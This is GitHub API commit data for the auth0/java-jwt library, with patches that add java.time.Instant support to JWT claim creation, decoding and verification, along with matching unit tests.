following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj'  }(jB  
jimmyjamesjD  J7 j  MDQ6VXNlcjI3NjIyNQ==jF  2https://avatars.githubusercontent.com/u/276225?v=4jH  h3j1  'https://api.github.com/users/jimmyjamesj=  https://github.com/jimmyjamesjK  1https://api.github.com/users/jimmyjames/followersjM  >https://api.github.com/users/jimmyjames/following{/other_user}jO  7https://api.github.com/users/jimmyjames/gists{/gist_id}jQ  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jS  5https://api.github.com/users/jimmyjames/subscriptionsjU  ,https://api.github.com/users/jimmyjames/orgsjW  -https://api.github.com/users/jimmyjames/reposjY  8https://api.github.com/users/jimmyjames/events{/privacy}j[  7https://api.github.com/users/jimmyjames/received_eventsj]  Userj_  uparents]}(j  (5c94325d6ca48532e1e13193e85a0eaec71c1ed6j1  \https://api.github.com/repos/auth0/java-jwt/commits/5c94325d6ca48532e1e13193e85a0eaec71c1ed6j=  Qhttps://github.com/auth0/java-jwt/commit/5c94325d6ca48532e1e13193e85a0eaec71c1ed6uastats}(totalM	additionsMA	deletionsK{ufiles](}(j  (9a2814d081880a041fda3dbaa33fe4e4e2f76239filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedjy  K.jz  KchangesK1blob_urlhttps://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979patchX  @@ -12,6 +12,7 @@
 import com.fasterxml.jackson.databind.module.SimpleModule;
 
 import java.nio.charset.StandardCharsets;
+import java.time.Instant;
 import java.util.*;
 import java.util.Map.Entry;
 
@@ -152,7 +153,19 @@ public Builder withExpiresAt(Date expiresAt) {
         }
 
         /**
-         * Add a specific Not Before ("nbf") claim to the Payload. The claim will be written as seconds since the epoch.
+         * Add a specific Expires At ("exp") claim to the payload. The claim will be written as seconds since the epoch;
+         * Milliseconds will be truncated by rounding down to the nearest second.
+         *
+         * @param expiresAt the Expires At value.
+         * @return this same Builder instance.
+         */
+        public Builder withExpiresAt(Instant expiresAt) {
+            addClaim(PublicClaims.EXPIRES_AT, expiresAt);
+            return this;
+        }
+
+        /**
+         * Add a specific Not Before ("nbf") claim to the Payload. The claim will be written as seconds since the epoch;
          * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param notBefore the Not Before value.
@@ -164,7 +177,19 @@ public Builder withNotBefore(Date notBefore) {
         }
 
         /**
-         * Add a specific Issued At ("iat") claim to the Payload. The claim will be written as seconds since the epoch.
+         * Add a specific Not Before ("nbf") claim to the Payload. The claim will be written as seconds since the epoch;
+         * Milliseconds will be truncated by rounding down to the nearest second.
+         *
+         * @param notBefore the Not Before value.
+         * @return this same Builder instance.
+         */
+        public Builder withNotBefore(Instant notBefore) {
+            addClaim(PublicClaims.NOT_BEFORE, notBefore);
+            return this;
+        }
+
+        /**
+         * Add a specific Issued At ("iat") claim to the Payload. The claim will be written as seconds since the epoch;
          * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param issuedAt the Issued At value.
@@ -175,6 +200,18 @@ public Builder withIssuedAt(Date issuedAt) {
             return this;
         }
 
+        /**
+         * Add a specific Issued At ("iat") claim to the Payload. The claim will be written as seconds since the epoch;
+         * Milliseconds will be truncated by rounding down to the nearest second.
+         *
+         * @param issuedAt the Issued At value.
+         * @return this same Builder instance.
+         */
+        public Builder withIssuedAt(Instant issuedAt) {
+            addClaim(PublicClaims.ISSUED_AT, issuedAt);
+            return this;
+        }
+
         /**
          * Add a specific JWT Id ("jti") claim to the Payload.
          *
@@ -271,6 +308,12 @@ public Builder withClaim(String name, Date value) throws IllegalArgumentExceptio
             return this;
         }
 
+        public Builder withClaim(String name, Instant value) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, value);
+            return this;
+        }
+
         /**
          * Add a custom Array Claim with the given items.
          *
@@ -453,7 +496,7 @@ private static boolean isBasicType(Object value) {
             if (c.isArray()) {
                 return c == Integer[].class || c == Long[].class || c == String[].class;
             }
-            return c == String.class || c == Integer.class || c == Long.class || c == Double.class || c == Date.class || c == Boolean.class;
+            return c == String.class || c == Integer.class || c == Long.class || c == Double.class || c == Date.class || c == Instant.class || c == Boolean.class;
         }
 
         /**u}(j  (558552419ee8f50aa274e994bb42d292347cd07dj  /lib/src/main/java/com/auth0/jwt/JWTDecoder.javaj  modifiedjy  Kjz  K j  Kj  https://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javaj  https://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979j  X  @@ -9,6 +9,7 @@
 
 import java.io.Serializable;
 import java.nio.charset.StandardCharsets;
+import java.time.Instant;
 import java.util.Base64;
 import java.util.Date;
 import java.util.List;
@@ -93,16 +94,31 @@ public Date getExpiresAt() {
         return payload.getExpiresAt();
     }
 
+    @Override
+    public Instant getExpiresAtAsInstant() {
+        return payload.getExpiresAtAsInstant();
+    }
+
     @Override
     public Date getNotBefore() {
         return payload.getNotBefore();
     }
 
+    @Override
+    public Instant getNotBeforeAsInstant() {
+        return  payload.getNotBeforeAsInstant();
+    }
+
     @Override
     public Date getIssuedAt() {
         return payload.getIssuedAt();
     }
 
+    @Override
+    public Instant getIssuedAtAsInstant() {
+        return payload.getIssuedAtAsInstant();
+    }
+
     @Override
     public String getId() {
         return payload.getId();u}(j  (8b1c2c15e7b0ddee2981aff6ebce41b595894490j  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javaj  modifiedjy  Kjz  Kj  K$j  https://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj  https://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979j  X   @@ -9,8 +9,11 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 
-import java.util.*;
 import java.time.Clock;
+import java.time.Duration;
+import java.time.Instant;
+import java.time.temporal.ChronoUnit;
+import java.util.*;
 
 /**
  * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format, but also its signature matches.
@@ -327,13 +330,13 @@ private void verifyClaimValues(DecodedJWT jwt, Map.Entry<String, Object> expecte
                 assertValidAudienceClaim(jwt.getAudience(), (List<String>) expectedClaim.getValue(), false);
                 break;
             case PublicClaims.EXPIRES_AT:
-                assertValidDateClaim(jwt.getExpiresAt(), (Long) expectedClaim.getValue(), true);
+                assertValidInstantClaim(jwt.getExpiresAtAsInstant(), (Long) expectedClaim.getValue(), true);
                 break;
             case PublicClaims.ISSUED_AT:
-                assertValidDateClaim(jwt.getIssuedAt(), (Long) expectedClaim.getValue(), false);
+                assertValidInstantClaim(jwt.getIssuedAtAsInstant(), (Long) expectedClaim.getValue(), false);
                 break;
             case PublicClaims.NOT_BEFORE:
-                assertValidDateClaim(jwt.getNotBefore(), (Long) expectedClaim.getValue(), false);
+                assertValidInstantClaim(jwt.getNotBeforeAsInstant(), (Long) expectedClaim.getValue(), false);
                 break;
             case PublicClaims.ISSUER:
                 assertValidIssuerClaim(jwt.getIssuer(), (List<String>) expectedClaim.getValue());
@@ -370,6 +373,8 @@ private void assertValidClaim(Claim claim, String claimName, Object value) {
             isValid = value.equals(claim.asDouble());
         } else if (value instanceof Date) {
             isValid = value.equals(claim.asDate());
+        } else if (value instanceof Instant) {
+            isValid = value.equals(claim.asInstant());
         } else if (value instanceof Object[]) {
             List<Object> claimArr;
             Object[] claimAsObject = claim.as(Object[].class);
@@ -403,27 +408,24 @@ private void assertValidStringClaim(String claimName, String value, String expec
         }
     }
 
-    private void assertValidDateClaim(Date date, long leeway, boolean shouldBeFuture) {
-        Date today = new Date(clock.millis());
-        today.setTime(today.getTime() / 1000 * 1000); // truncate millis
+    private void assertValidInstantClaim(Instant claimVal, long leeway, boolean shouldBeFuture) {
+        Instant now = clock.instant().truncatedTo(ChronoUnit.SECONDS);
         if (shouldBeFuture) {
-            assertDateIsFuture(date, leeway, today);
+            assertInstantIsFuture(claimVal, leeway, now);
         } else {
-            assertDateIsPast(date, leeway, today);
+            assertInstantIsPast(claimVal, leeway, now);
         }
     }
 
-    private void assertDateIsFuture(Date date, long leeway, Date today) {
-        today.setTime(today.getTime() - leeway * 1000);
-        if (date != null && today.after(date)) {
-            throw new TokenExpiredException(String.format("The Token has expired on %s.", date));
+    private void assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
+        if (claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal)) {
+            throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal));
         }
     }
 
-    private void assertDateIsPast(Date date, long leeway, Date today) {
-        today.setTime(today.getTime() + leeway * 1000);
-        if (date != null && today.before(date)) {
-            throw new InvalidClaimException(String.format("The Token can't be used before %s.", date));
+    private void assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
+        if (claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal)) {
+            throw new InvalidClaimException(String.format("The Token can't be used before %s.", claimVal));
         }
     }
 u}(j  (0d8161283f4d6b422e2d0baf948dcde0c1a6c944j  7lib/src/main/java/com/auth0/jwt/impl/JsonNodeClaim.javaj  modifiedjy  K
jz  Kj  Kj  https://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj  https://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979      j  X  @@ -6,11 +6,11 @@
 import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.core.type.TypeReference;
 import com.fasterxml.jackson.databind.JsonNode;
-import com.fasterxml.jackson.databind.ObjectMapper;
 import com.fasterxml.jackson.databind.ObjectReader;
 
 import java.io.IOException;
 import java.lang.reflect.Array;
+import java.time.Instant;
 import java.util.ArrayList;
 import java.util.Date;
 import java.util.List;
@@ -63,6 +63,15 @@ public Date asDate() {
         return new Date(seconds * 1000);
     }
 
+    @Override
+    public Instant asInstant() {
+        if (!data.canConvertToLong()) {
+            return null;
+        }
+        long seconds = data.asLong();
+        return Instant.ofEpochSecond(seconds);
+    }
+
     @Override
     @SuppressWarnings("unchecked")
     public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {u}(j  (664328de3e3a4642a7a7da5b6c96bd5269e5b6a3j  3lib/src/main/java/com/auth0/jwt/impl/NullClaim.javaj  modifiedjy  Kjz  K j  Kj  https://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.javaj  https://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979j  X  @@ -3,6 +3,7 @@
 import com.auth0.jwt.exceptions.JWTDecodeException;
 import com.auth0.jwt.interfaces.Claim;
 
+import java.time.Instant;
 import java.util.Date;
 import java.util.List;
 import java.util.Map;
@@ -46,6 +47,11 @@ public Date asDate() {
         return null;
     }
 
+    @Override
+    public Instant asInstant() {
+        return null;
+    }
+
     @Override
     public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
         return null;u}(j  (46bd7ebef70175ff483311de5c64ccc752efba37j  =lib/src/main/java/com/auth0/jwt/impl/PayloadDeserializer.javaj  modifiedjy  Kjz  Kj  Kj  https://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj  https://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979j  X  @@ -11,6 +11,7 @@
 import com.fasterxml.jackson.databind.deser.std.StdDeserializer;
 
 import java.io.IOException;
+import java.time.Instant;
 import java.util.*;
 
 /**
@@ -45,9 +46,9 @@ public Payload deserialize(JsonParser p, DeserializationContext ctxt) throws IOE
         String issuer = getString(tree, PublicClaims.ISSUER);
         String subject = getString(tree, PublicClaims.SUBJECT);
         List<String> audience = getStringOrArray(tree, PublicClaims.AUDIENCE);
-        Date expiresAt = getDateFromSeconds(tree, PublicClaims.EXPIRES_AT);
-        Date notBefore = getDateFromSeconds(tree, PublicClaims.NOT_BEFORE);
-        Date issuedAt = getDateFromSeconds(tree, PublicClaims.ISSUED_AT);
+        Instant expiresAt = getInstantFromSeconds(tree, PublicClaims.EXPIRES_AT);
+        Instant notBefore = getInstantFromSeconds(tree, PublicClaims.NOT_BEFORE);
+        Instant issuedAt = getInstantFromSeconds(tree, PublicClaims.ISSUED_AT);
         String jwtId = getString(tree, PublicClaims.JWT_ID);
 
         return new PayloadImpl(issuer, subject, audience, expiresAt, notBefore, issuedAt, jwtId, tree, objectReader);
@@ -73,16 +74,15 @@ List<String> getStringOrArray(Map<String, JsonNode> tree, String claimName) thro
         return list;
     }
 
-    Date getDateFromSeconds(Map<String, JsonNode> tree, String claimName) {
+    Instant getInstantFromSeconds(Map<String, JsonNode> tree, String claimName) {
         JsonNode node = tree.get(claimName);
         if (node == null || node.isNull()) {
             return null;
         }
         if (!node.canConvertToLong()) {
             throw new JWTDecodeException(String.format("The claim '%s' contained a non-numeric date value.", claimName));
         }
-        final long ms = node.asLong() * 1000;
-        return new Date(ms);
+        return Instant.ofEpochSecond(node.asLong());
     }
 
     String getString(Map<String, JsonNode> tree, String claimName) {u}(j  (a446741cb1b143347b4727be7b5518365d89cc56j  5lib/src/main/java/com/auth0/jwt/impl/PayloadImpl.javaj  modifiedjy  Kjz  Kj  Kj  https://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javaj  https://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979j  Xo  @@ -6,6 +6,7 @@
 import com.fasterxml.jackson.databind.ObjectReader;
 
 import java.io.Serializable;
+import java.time.Instant;
 import java.util.*;
 
 import static com.auth0.jwt.impl.JsonNodeClaim.extractClaim;
@@ -24,14 +25,14 @@ class PayloadImpl implements Payload, Serializable {
     private final String issuer;
     private final String subject;
     private final List<String> audience;
-    private final Date expiresAt;
-    private final Date notBefore;
-    private final Date issuedAt;
+    private final Instant expiresAt;
+    private final Instant notBefore;
+    private final Instant issuedAt;
     private final String jwtId;
     private final Map<String, JsonNode> tree;
     private final ObjectReader objectReader;
 
-    PayloadImpl(String issuer, String subject, List<String> audience, Date expiresAt, Date notBefore, Date issuedAt, String jwtId, Map<String, JsonNode> tree, ObjectReader objectReader) {
+    PayloadImpl(String issuer, String subject, List<String> audience, Instant expiresAt, Instant notBefore, Instant issuedAt, String jwtId, Map<String, JsonNode> tree, ObjectReader objectReader) {
         this.issuer = issuer;
         this.subject = subject;
         this.audience = audience != null ? Collections.unmodifiableList(audience) : null;
@@ -64,19 +65,35 @@ public List<String> getAudience() {
 
     @Override
     public Date getExpiresAt() {
-        return expiresAt;
+        return (expiresAt != null) ? Date.from(expiresAt) : null;
     }
 
+
     @Override
-    public Date getNotBefore() {
-        return notBefore;
+    public Instant getExpiresAtAsInstant() {
+        return expiresAt;
     }
 
     @Override
     public Date getIssuedAt() {
+        return (issuedAt != null) ? Date.from(issuedAt) : null;
+    }
+
+    @Override
+    public Instant getIssuedAtAsInstant() {
         return issuedAt;
     }
 
+    @Override
+    public Date getNotBefore() {
+        return (notBefore != null) ? Date.from(notBefore) : null;
+    }
+
+    @Override
+    public Instant getNotBeforeAsInstant() {
+        return notBefore;
+    }
+
     @Override
     public String getId() {
         return jwtId;u}(j  (0389121c8302008b0d1f399cc4ad6321bbd48eb4j  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javaj  modifiedjy  K	jz  Kj  Kj  https://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj  https://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979j  X   @@ -5,6 +5,7 @@
 import com.fasterxml.jackson.databind.ser.std.StdSerializer;
 
 import java.io.IOException;
+import java.time.Instant;
 import java.util.*;
 
 /**
@@ -71,13 +72,15 @@ private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throw
     }
 
     /**
-     * Serializes {@linkplain Date} to epoch second values, traversing maps and lists as needed.
+     * Serializes {@linkplain Instant} to epoch second values, traversing maps and lists as needed.
      * @param value the object to serialize
      * @param gen the JsonGenerator to use for JSON serialization
      */
     private void handleSerialization(Object value, JsonGenerator gen) throws IOException {
-        if (value instanceof Date) { // EXPIRES_AT, ISSUED_AT, NOT_BEFORE, custom date claims
+        if (value instanceof Date) {
             gen.writeNumber(dateToSeconds((Date) value));
+        } else if (value instanceof Instant) { // EXPIRES_AT, ISSUED_AT, NOT_BEFORE, custom Instant claims
+            gen.writeNumber(instantToSeconds((Instant) value));
         } else if (value instanceof Map) {
             serializeMap((Map<?, ?>) value, gen);
         } else if (value instanceof List) {
@@ -105,6 +108,10 @@ private void serializeList(List<?> list, JsonGenerator gen) throws IOException {
         gen.writeEndArray();
     }
 
+    private long instantToSeconds(Instant instant) {
+        return instant.getEpochSecond();
+    }
+
     private long dateToSeconds(Date date) {
         return date.getTime() / 1000;
     }u}(j  (f4f426bafc2d5a95eba01873e573c361e83ce9d6j  5lib/src/main/java/com/auth0/jwt/interfaces/Claim.javaj  modifiedjy  Kjz  K j  Kj  https://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj  https://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979j  X  @@ -2,6 +2,7 @@
 
 import com.auth0.jwt.exceptions.JWTDecodeException;
 
+import java.time.Instant;
 import java.util.Date;
 import java.util.List;
 import java.util.Map;
@@ -66,6 +67,17 @@ public interface Claim {
      */
     Date asDate();
 
+    /**
+     * Get this Claim as an Instant.
+     * If the value can't be converted to an Instant, null will be returned.
+     *
+     * @return the value as a Date or null.
+     */
+    default Instant asInstant() {
+        Date date = asDate();
+        return date != null? date.toInstant() : null;
+    }
+
     /**
      * Get this Claim as an Array of type T.
      * If the value isn't an Array, null will be returned.u}(j  (5f31ce413819ea55f0066ca873fd95161dcfde18j  7lib/src/main/java/com/auth0/jwt/interfaces/Payload.javaj  modifiedjy  Kjz  K j  Kj  https://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.javaj  https://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979j  X-  @@ -1,5 +1,6 @@
 package com.auth0.jwt.interfaces;
 
+import java.time.Instant;
 import java.util.Date;
 import java.util.List;
 import java.util.Map;
@@ -37,20 +38,47 @@ public interface Payload {
      */
     Date getExpiresAt();
 
+    /**
+     * Get the value of the "exp" claim as an {@linkplain Instant}, or null if it's not available.
+     *
+     * @return the Expiration Time value or null.
+     */
+    default Instant getExpiresAtAsInstant() {
+        return getExpiresAt() != null ? getExpiresAt().toInstant() : null ;
+    }
+
     /**
      * Get the value of the "nbf" claim, or null if it's not available.
      *
      * @return the Not Before value or null.
      */
     Date getNotBefore();
 
+    /**
+     * Get the value of the "nbf" claim as an {@linkplain Instant}, or null if it's not available.
+     *
+     * @return the Not Before value or null.
+     */
+    default Instant getNotBeforeAsInstant() {
+        return getNotBefore() != null ? getNotBefore().toInstant() : null;
+    }
+
     /**
      * Get the value of the "iat" claim, or null if it's not available.
      *
      * @return the Issued At value or null.
      */
     Date getIssuedAt();
 
+    /**
+     * Get the value of the "iat" claim as an {@linkplain Instant}, or null if it's not available.
+     *
+     * @return the Issued At value or null.
+     */
+    default Instant getIssuedAtAsInstant() {
+        return getIssuedAt() != null? getIssuedAt().toInstant() : null;
+    }
+
     /**
      * Get the value of the "jti" claim, or null if it's not available.
      *u}(j  (c6fff1f2b466354d2e9130788e2a33dc54d9162fj  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj  modifiedjy  KAjz  Kj  KSj  https://github.com/auth0/java-jwt/blob/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://github.com/auth0/java-jwt/raw/5f7e8fa72882037a2b2ff0cca2af879e35039979/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=5f7e8fa72882037a2b2ff0cca2af879e35039979j  Xs!  @@ -13,6 +13,7 @@
 import java.nio.charset.StandardCharsets;
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.RSAPrivateKey;
+import java.time.Instant;
 import java.util.*;
 
 import static org.hamcrest.Matchers.*;
@@ -64,7 +65,7 @@ public void shouldReturnBuilderIfNullMapIsProvided() {
 
     @Test
     public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
-        Map<String, Object> header = new HashMap<String, Object>();
+        Map<String, Object> header = new HashMap<>();
         header.put(PublicClaims.KEY_ID, "xyz");
 
         String signed = JWTCreator.init()
@@ -80,7 +81,7 @@ public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
 
     @Test
     public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
-        Map<String, Object> header = new HashMap<String, Object>();
+        Map<String, Object> header = new HashMap<>();
         header.put(PublicClaims.KEY_ID, "xyz");
 
         String signed = JWTCreator.init()
@@ -96,7 +97,7 @@ public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
 
     @Test
     public void shouldRemoveHeaderIfTheValueIsNull() {
-        Map<String, Object> header = new HashMap<String, Object>();
+        Map<String, Object> header = new HashMap<>();
         header.put(PublicClaims.KEY_ID, null);
         header.put("test2", "isSet");
 
@@ -271,6 +272,17 @@ public void shouldAddExpiresAt() {
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJleHAiOjE0Nzc1OTJ9"));
     }
 
+    @Test
+    public void shouldAddExpiresAtInstant() {
+        String signed = JWTCreator.init()
+                .withExpiresAt(Instant.ofEpochSecond(1477592))
+                .sign(Algorithm.HMAC256("secret"));
+
+        System.out.println(signed);
+        assertThat(signed, is(notNullValue()));
+        assertThat(TokenUtils.splitToken(signed)[1], is("eyJleHAiOjE0Nzc1OTJ9"));
+    }
+
     @Test
     public void shouldAddNotBefore() {
         String signed = JWTCreator.init()
@@ -281,6 +293,16 @@ public void shouldAddNotBefore() {
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJuYmYiOjE0Nzc1OTJ9"));
     }
 
+    @Test
+    public void shouldAddNotBeforeInstant() {
+        String signed = JWTCreator.init()
+                .withNotBefore(Instant.ofEpochSecond(1477592))
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(signed, is(notNullValue()));
+        assertThat(TokenUtils.splitToken(signed)[1], is("eyJuYmYiOjE0Nzc1OTJ9"));
+    }
+
     @Test
     public void shouldAddIssuedAt() {
         String signed = JWTCreator.init()
@@ -291,6 +313,16 @@ public void shouldAddIssuedAt() {
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJpYXQiOjE0Nzc1OTJ9"));
     }
 
+    @Test
+    public void shouldAddIssuedAtInstant() {
+        String signed = JWTCreator.init()
+                .withIssuedAt(Instant.ofEpochSecond(1477592))
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(signed, is(notNullValue()));
+        assertThat(TokenUtils.splitToken(signed)[1], is("eyJpYXQiOjE0Nzc1OTJ9"));
+    }
+
     @Test
     public void shouldAddJWTId() {
         String signed = JWTCreator.init()
@@ -430,6 +462,18 @@ public void shouldAcceptCustomClaimOfTypeDate() {
         assertThat(parts[1], is("eyJuYW1lIjoxNDc4ODkxNTIxfQ"));
     }
 
+    @Test
+    public void shouldAcceptCustomClaimOfTypeDateInstant() {
+        Instant instant = Instant.ofEpochSecond(1478891521);
+        String jwt = JWTCreator.init()
+                .withClaim("name", instant)
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(jwt, is(notNullValue()));
+        String[] parts = jwt.split("\\.");
+        assertThat(parts[1], is("eyJuYW1lIjoxNDc4ODkxNTIxfQ"));
+    }
+
     @Test
     public void shouldAcceptCustomArrayClaimOfTypeString() {
         String jwt = JWTCreator.init()
@@ -499,7 +543,8 @@ public void shouldAcceptCustomMapClaimOfBasicObjectTypes() throws Exception {
         data.put("integer", 1);
         data.put("long", Long.MAX_VALUE);
         data.put("double", 123.456d);
-        data.put("date", new Date(123000));
+        data.put("date", new Date(123000L));
+        data.put("instant", Instant.ofEpochSecond(123));
         data.put("boolean", true);
 
         // array types
@@ -531,12 +576,13 @@ public void shouldAcceptCustomMapClaimOfBasicObjectTypes() throws Exception {
         assertThat(map.get("double"), is(123.456d));
 
         assertThat(map.get("date"), is(123));
+        assertThat(map.get("instant"), is(123));
         assertThat(map.get("boolean"), is(true));
 
